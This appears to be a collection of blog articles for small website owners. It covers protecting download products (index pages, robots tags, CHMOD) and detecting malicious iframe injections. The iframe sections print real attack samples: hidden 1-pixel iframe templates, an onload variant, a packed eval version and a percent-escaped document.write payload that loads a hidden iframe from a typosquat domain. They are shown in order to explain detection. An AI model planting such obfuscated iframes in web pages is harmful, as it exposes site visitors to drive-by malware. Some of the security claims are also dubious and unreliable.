Basic Website Protection and Security Steps

Most people who have websites do not realize that it requires only a few simple steps to ensure some degree of security for your website and download products. No matter what type of digital product you're selling on the Internet, it is critical that you review your digital delivery method to make sure people aren't walking away with your products. A few lost sales may not seem like much, but over time they can really add up to a substantial loss of revenue. There are a few steps you need to think about in order to keep those who have not paid from stealing something you've worked long and hard at creating.

The following are the most Basic Protection and Security Steps (BPASS) that anyone selling digital products online must take. These take only minutes to do and no special software or programming knowledge is required. Best of all, it costs you nothing to implement them.

BPASS-1

Most people who sell digital download products store their downloads as PDF documents. Nearly all search engines can read and list PDF documents. This means that you must never save or upload a product you want to sell as a PDF file. Many search engines can also convert the PDF files into HTML documents. This means these browsers not only have access to download your PDF file,but can also download your source file as well.

A simple way of keeping your files out of the reach of search engines is to upload them as a zip file. Search engines cannot currently look inside zip files to list their contents. You can use many free programs like WinZip to create a Zip archive. You can hide your digital product, ebook in the ZIP archive. Search engines typically do not go near any file with a .ZIP extension.

BPASS-2

All web servers are configured to display a default page for a directory if a default file exists. That is how your home page is found when someone simply enters a domain name for the URL for a web site and the home page is displayed. A server is configured to search a list of default file names and if it finds a match, it displays the page. The default files, index.* could be similar to what is shown below, where * is the index page extension.

index.htm
index.html
index.shtml
index.php

When someone goes to your site by typing in your URL, the index page is what they normally see first. This prevents viewing other pages or files you may have in the root directory. What your visitor actually sees in this case is your home page.

The other directories(sub-folders) on your website, the ones below your root directory, which is typically called "public", or "public_html", do not normally have this index page. If the index page is not there, your visitor may be able to view every web page or file you have in that directory. A folder without an index page is open and everyone can find your product and download it if they search for it. You thus should create an index page for all your folders. This is especially important for your download directory.

The index page can be used in any directory on a web site except those directories that already utilize an index page or default page. This includes the root directory. Never place one of these files in the root directory, never overwrite an index page or default page that already exists and never place an index page in a directory where another index page or default page already exists.

A basic index.* page would have, at minimum the following:

The above basic index page would show a blank web page. Instead of seeing all the files that you have in the sub-folder, they would simply see a blank web page.

If you want, you can put some text or graphics between and tags.
You can add some text that perhaps says: "Internal server error. Please contact system administrator."

The text will give the impression that the person trying to get into your site, caused some type of server error and so will hopefully stop them from going any further. The modified index page is shown below:

You can also take the index web page one step further. You can redirect spying eyes from your website directories back to your home index page in your root directory. You can use what is called a "meta refresh" tag. The tag looks like the following:

META HTTP-EQUIV="refresh" content="0;URL=http://www.yourdomain_name"

You would replace "yourdomain_name" with your actual domain name or whatever URL you would like to put there.

The following shows the index page with the meta refresh tag:

In the meta tag, the page refresh has been set to zero (0) seconds, which is just short enough for redirecting to the specified URL.

If you are using an index page with the meta-refresh tag only, then instead of someone seeing a blank web page, they actually get re-directed to your Home page. If this was a casual surfer who just happened to end up at your website by mistake, then they will find themselves on your Home front page, and, you might end up getting a customer, a good side benefit of the index.html page with meta-refresh tag.

Please don't forget that If you do not create an index.htm or index.html file, etc., you'd be allowing everyone to directly access the root directory of the folder where you store your downloads and cause you loose of potential income.

BPASS-3

You can easily stop search engines from indexing your web pages. An indexed web page means anyone can find it on the internet when they do a search. This disallows search engine spiders from reading and listing the download pages that link to your products. This must be on your download page(s) and any other web page that you do not want indexed for one reason or another.

On the web page, between the and [head] and [/head] tags, add the following “Robot” tag.

The tag prevents search engine spiders from reading and listing the download pages that link to your eBooks. This "Robot" tag tells the spider that this page is not to be spidered or indexed. As a result it should never show up on a search.

BPASS-4

Search engines scan only two levels down your domain; try keeping your downloadable product three or four levels down;
– for example, www.mydomain/directortyA/directoryB/directoryC/download file.

BPASS-5

Make sure to name your download folders and files with strange names and change them often. Don't use common names like downloads.htm or thankyou.htm, as someone could go to the search engines and easily find your documents in this way.

Change your download links frequently. To prevent unscrupulous people from posting your download links on forums or message boards, change the folder or file name where you store them from time to time, even if it means having to change the download links in your merchant account.

BPASS-6

Protect folders by permissions, directory and script file permissions.

A variety of files and directories in your website need to be given the correct permissions to work properly. Giving permissions to files or directories in the Unix world is called CHMOD (change mode). Chmod is a Unix command that lets permission levels be assigned to each file or directory. The proper CHMOD is also needed to help you with your website protection and security.

The following are the basic file permissions:

Files: 644
Folders: 755 (with index page in it)
Images: 644
CGI scripts: 755
Php scripts: 644

Folders with CHMOD 755 must have an index page in it. By default, your public or public_html directory is typically set to CHMOD 755. With this setting, if a Web surfer connects to your website, the server will display either your home page (if a file with the name index.html, index.htm, or index.shtml, etc., exists) or a listing of all the files in that directory. This also holds true for any sub-folder in your domain, which is why you need an index page in every folder on your website.

Always make sure your folders are given 755 permissions (with index file in it) OR 711 permissions. 711 gives Access denied error. This permission setting will not show a file listing. If there is no index page, the Web surfer will receive a "Forbidden" error message.

The CHMOD capability depends on two conditions:

1) The server you are connected to must support the CHMOD command.
2) You must have access rights to change the attributes of that remote file or directory.

Make sure these two conditions are fulfilled.

The 644 Files permissions represents the permissions of your web pages. Suppose you have just finished modifying your web page and you did not want anybody to update or to delete it. Then, give the web page file permission CHMOD 444 and it will have this effect. This gives everybody, including the owner (user), only read capability. If the owner turns off the write permission, the file is protected from accidental or deliberate destruction.

You may have to set CHMOD 444 via your host CPanel in a browser. Make sure you check this out. If you entered your site via FTP, edit your web page file by adding a small change and then removing it. When you try to save the file, you should not be allowed to over-write it.
Once you have changed file persmission to CHMOD 444 on your web page, ensure that it still functions and runs properly. Whenever you need to edit your web page, simply change back to CHMOD 644, do your changes, and then change again to CHMOD 444.

Having to change file permissions everytime you need to edit a web page might feel a bit tedious. Preventing attacks to your website which could stop all traffic to your website, may be well worth the extra few minutes needed to edit a web page via the CHMOD command.

Summary

Using these Basic Protection and Security Steps will give you a good degree of satisfaction, knowing that you have taken the most basic steps to protect your digital valuables - and at absolutely no cost to you.

If you want greater security and more information on plugging the security loopholes in your website, please visit the following website:

http://www.websiteprotection.net

--

Why You Need Website Protection and Security!

Website Security Statistics

Web security company Cenzic released a report detailing trends and numbers related to Web security for the first and second quarters of 2009.



Among the most serious vulnerabilities were path traversal (folder listing), cross-site scripting, cross-site request forgery and SQL injection. You may have to deal with all of these in order to make your website secure.

A report by security company Whitehat Security has indicated that:
- Historically, 82% of assessed websites have had at least one issue of HIGH, CRITICAL, or URGENT severity
- 63% of assessed websites currently have issues of HIGH, CRITICAL, or URGENT severity
- Historically, websites average 17 vulnerabilities identified during the lifetime of the assessment cycle
- Websites currently average 6 open vulnerabilities

A report by The Web Application Security Consortium (WASC) showed that for about 12186 sites tested, 97554 vulnerabilities were detected. The analysis showed that:
- more than 13% of all reviewed sites could be compromised completely automatically
- about 49% of web applications contain vulnerabilities of high risk level (Urgent and Critical)
- the most wide spread vulnerabilities are Cross-site Scripting, different types of Information Leakage, SQL Injection, HTTP Response Splitting
- administration issues were 20% more frequent cause of a vulnerability than system development errors
- the probability to compromise a host automatically rose from 7 to 13 %

"When Asked, Most Website Owners Stated That Their Website And Data Was Safe From Hackers. Over 73% Were Wrong!"

Website security and monitoring is a vital part of the success of your online business. Making it a priority is crucial for your website file and data protection. Understanding that and taking the steps to properly implement website security practices can mean increased sales and more business opportunities.

To help you with your website security, I recommend that you visit:

http://www.websiteprotection.net/

You will quickly learn how to combat these hackers.
Many of the solutions can be implemented almost immediately, providing you with your first line of defense.

Quick Reference Links To Fight Iframe Injections

I have had many requests from people reading my articles on combatting iframe injection attacks to create a quick start page with the various links one can use to detect and recover from iframe injection attacks.

These links are just a quick summary and you should read the full article to get the maximum benifits.

CHECKING TO SEE IF YOUR WEBSITE IS SAFE

a) http://www.google.com/safebrowsing/diagnostic?site=http://yourdomain_name

Copy and paste the above link into your browser and then replace "yourdomain_name" with your actual website name, e.g., websiteprotection.net

b) http://www.unmaskparasites.com/

IFRAME SCANNERS

a) http://www.diovo.com

Using notepad editor, you need to change the following line in the script:

$webpath ="Type your domain name here. Eg:http://www.diovo.com/"
which becomes:
$webpath ="http://www.yourdomain_name/
Where "yourdomain_name" is replaced with your actual domain name.
Test URL is:
http://www.yourdomain_name/clean.php?s=index.php&c=iframe
where:
s=webpage.ext

b) http://www.websanity.co.uk

Using notepad editor, change the following lines in the script as required:
define('IGNORE_EXTENSIONS',"jpg pdf zip psd doc gif swf xls"); // Ignore files of these types
define("IGNORE_BEFORE", strtotime('2009-08-01') );

c) Auto Scanner Scheduler: http://www.splinterware.com

FILE PERMISSIONS

CHMOD 444 to prevent writing to web page

IFRAME DE-OBFUSCATORS

a) http://www.novirusthanks.org

b) http://www.patzcatz.com

c) http://www.strictly-software.com

IFRAME UNPACKERS

a) http://matthewfl.com

b) http://blog.shimazu.org

c) http://www.strictly-software.com

IFRAME PACKER

For those who want to see how packing is done with a javascript packer.
Make sure to check the "Base62 encode" box or else it will not work.

http://dean.edwards.name/packer


You should use this quick guide after you have read all related iframe injection articles.

Don't forget that not all iframes are bad. Be sure before you delete.

New Malicious iFrame Injection - Mal/Iframe-N

The Mal/Iframe-N appears to be the latest malicious iframe injection attack on websites. I had touched on this briefly in other articles combatting malicious iframe injection attacks.

Security researchers warn that this new injection attack has infected thousands of websites with malicious IFrames. In order to avoid detection, the malicious IFrames get their src attribute (their URL) through an "onload" JavaScript event.

Since releasing detection for Mal/Iframe-N, SophosLabs have seen a rising number of detections. Detections are now into the thousands of websites affected by this threat. Some of the sites hit are also well known.

Normally, malicious Iframe’s have the following form:

[iframe src='http://url/'width='1'height='1'][/iframe]

In the new attack there isn’t a direct "src=", they use "onload=" as follows:

[frame onload="if (!this.src){ this.src='http://url'; this.height=1; this.width=1;}"].

All the domains used so far have been based in Russia.

The tools being used to inject these Iframes are currently adding them to the end of legitimate HTML as shown below:

[html]
.
.
.
[/html]
[frame onload="if (!this.src).............

This usually attacks vulnerabilities in your software so make sure you install critical patches for popular software such as Adobe Reader, Flash Player, Java Runtime Environment, Microsoft Office or Windows itself.

You could also be infected with an obfuscated or packed javascript version of these malicious iframes.

More On Hidden Malicious Iframe Injections

If you have been reading my articles on combating malicious iframe injections, you will have noticed that these malicious iframes have a basic configuration as shown below:

[iframe src='http://url/'width='1'height='1'style='visibility: hidden;'][/iframe]

They have this configuration so that hackers can hide these unwanted iframes by making them invisible. The iframe is created with width and height of 1 pixel – visually it’s just a point. They also specify a style that makes it invisible: style='visibility: hidden;'

These iframes are invisible to web surfers but they can be detected in the HTML code of your web page.

To hide iframes in the HTML, hackers use obfuscated scripts. Apart from obfuscated scripts, hackers are now also using what is called packed javascripts. Packing javascripts is a good thing as it improves delivery and optimization. But, as always, these legitimate things can be used in a bad way to hide and insert malicious unreadable iframes into your web page. When you check the HTML code of such web pages you don’t see any iframes, just some JavaScript with unclear purpose with no URLs and suspicious words within it. And since many modern web pages contain dozens of third-party scripts (e.g. ads, statistics, widgets, etc.) webmasters usually overlook such scripts.

Let us take the previous malicious iframe example and pack it. It would look like the following:

eval(function(p,a,c,k,e,r){e=String;if(!''.replace(/^/,String)){while(c--)r[c]=k[c]||c;k=[function(e){returnr[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('[02=\'3://4/\'5=\'1\'6=\'1\'7=\'8:9;\'][/0]',10,10,'iframe||src|http|url|width|height|style|visibility|hidden'.split('|'),0,{}))

If you look at the above code, it is hard to see if it is malicious or not. You will notice some words that appear suspicious, but may not be. Sometimes you may not see any suspicious text at all.

What you need to do is to unpack this compressed code when you are unsure whether the scripts being loaded are malicious or not.

One site you can visit to unpack these compressed codes is at:

http://www.strictly-software.com/unpack-javascript.aspx

Simply copy the complete code, eval(function........) and paste into the upper box. Click on the ""Unpack" button. The final result will be shown in the second box and should be the actual code which should now be completely readable. Once the code is readable, you need to make sure that it is malicious or not before you delete it.

To hide malicious code, hackers sometime encode their scripts multiple times, so that even if you execute such a script you’ll get just another obfuscated or compressed script. The malicious script decodes itself and creates another encoded script which in turn creates another hidden malicious iframe.

Further investigation on malicious iframes has shown that, antivirus vendor Sophos, warns that a new injection attack has infected thousands of websites with malicious IFrames. In order to avoid detection, the rogue IFrames get their src attribute (their URL) through an "onload" JavaScript event. Aside from the heavy obfuscation, this attack makes use of a specific trick to avoid Web scanners. More specifically, decoding the string will result in an IFrame that doesn't have a direct src value. It uses a javascript "Onload" function to generate it. The src usually points to a third party server that attempts to infect visitors with malware. This usually attacks vulnerabilities in your software so make sure you install critical patches for popular software such as Adobe Reader, Flash Player, Java Runtime Environment, Microsoft Office or Windows itself. When you unpack the code, look for this.

The battle against malicious iframe injections is a constant battle. It is also important to remember that not all iframes are bad. Before you remove a suspected iframe, make sure it is not relevant to your web page. You might want to download a copy of the web page before you do any deleting just to be sure if your are not certain.

Obfuscated iFrame Injection Attacks

I have written several popular articles on iframe injections as you will find in this blog.

The people who implemented my suggestions, reported they had quite a bit of success in avoiding these malicious iframe injection attacks. Their websites were now safe and their traffic was continuous.

I had a friend who was a victim of these iframe injection attacks. When I tested his site, all tests indicated that his site was clean, but yet I knew this could not be the case. I checked all his index.* files and could not find any obvious hidden iframes. What I did notice was some codes that were obfuscated that my friend had no explanation for.

Obfuscation is the concealment of meaning in communication, making communication confusing, intentionally ambiguous, and more difficult to interpret. It is basically a form of encryption. The web page is not really encrypted, or else the web page would not display when accessed. The web browser can tell the difference between this encrypted code and regular HTML, but the human eye cannot decipher the encrypted code.

Upon further investigation, I found that compromised websites can be infected with hidden iframes and/or with obfuscated (escaped) javascript code. My friend's website appeared to be a victim of this obfuscated iframe injection.

The following was the suspected malicious iframe injection obfuscated code:

[Script Language='Javascript']
[!--
document.write(unescape('%5B%69%66%72%61%6D%65%20%73%72%63%3D%20%68%74%74%70%3A%20%2F%2F%67%6F%6F%6F%6F%67%6C%65%61%64%73%65%6E%63%65%2E%62%69%7A%2F%5F%63%6C%69%63%6B%3D%38%46%39%44%41%20%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%73%74%79%6C%65%3D%20%76%69%73%69%62%69%6C%69%74%79%3A%68%69%64%64%65%6E%3B%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%20%5D%5B%2F%69%66%72%61%6D%65%5D'));
//-->
[/Script]

Researching the issue further I found a website that was able to deobfuscate, or decrypt, the code at:

http://www.novirusthanks.org/services/javascript-unescape/

or at:

http://www.patzcatz.com/unescape.htm

What you do is copy only the obsfuscated code as shown below:

%5B%69%66%72%61%6D%65%20%73%72%63%3D%20%68%74%74%70%3A%20%2F%2F%67%6F%6F%6F%6F%67%6C%65%61%64%73%65%6E%63%65%2E%62%69%7A%2F%5F%63%6C%69%63%6B%3D%38%46%39%44%41%20%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%73%74%79%6C%65%3D%20%76%69%73%69%62%69%6C%69%74%79%3A%68%69%64%64%65%6E%3B%70%6F%73%69%74%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%20%5D%5B%2F%69%66%72%61%6D%65%5D

You then paste the code into the form box they provide and then click on "Deobfuscate".

The following was the resulting malicious iframe injection code:

[iframe src= http: //goooogleadsence.biz/_click=8F9DA width=1 height=1 style= visibility:hidden;position:absolute ][/iframe]

By completely removing the obfuscated (escaped) javascript code, my friend's website was clean and safe again.

If you implement my suggestions, particulariy the CHMOD 444, after an iframe injection attack, and are fairly sure your website is clean, then chances are you may not be a victim of iframe injection obfuscated (escaped) javascript code. One must not forget though, that no website will ever be 100% secure which is why we must always practise preventative measures.

It is also important to remember that not all iframes are bad. Before you remove a suspected iframe, make sure it is not relevant to your web page. You might want to download a copy of the web page before you do any deleting just to be sure if your are not certain.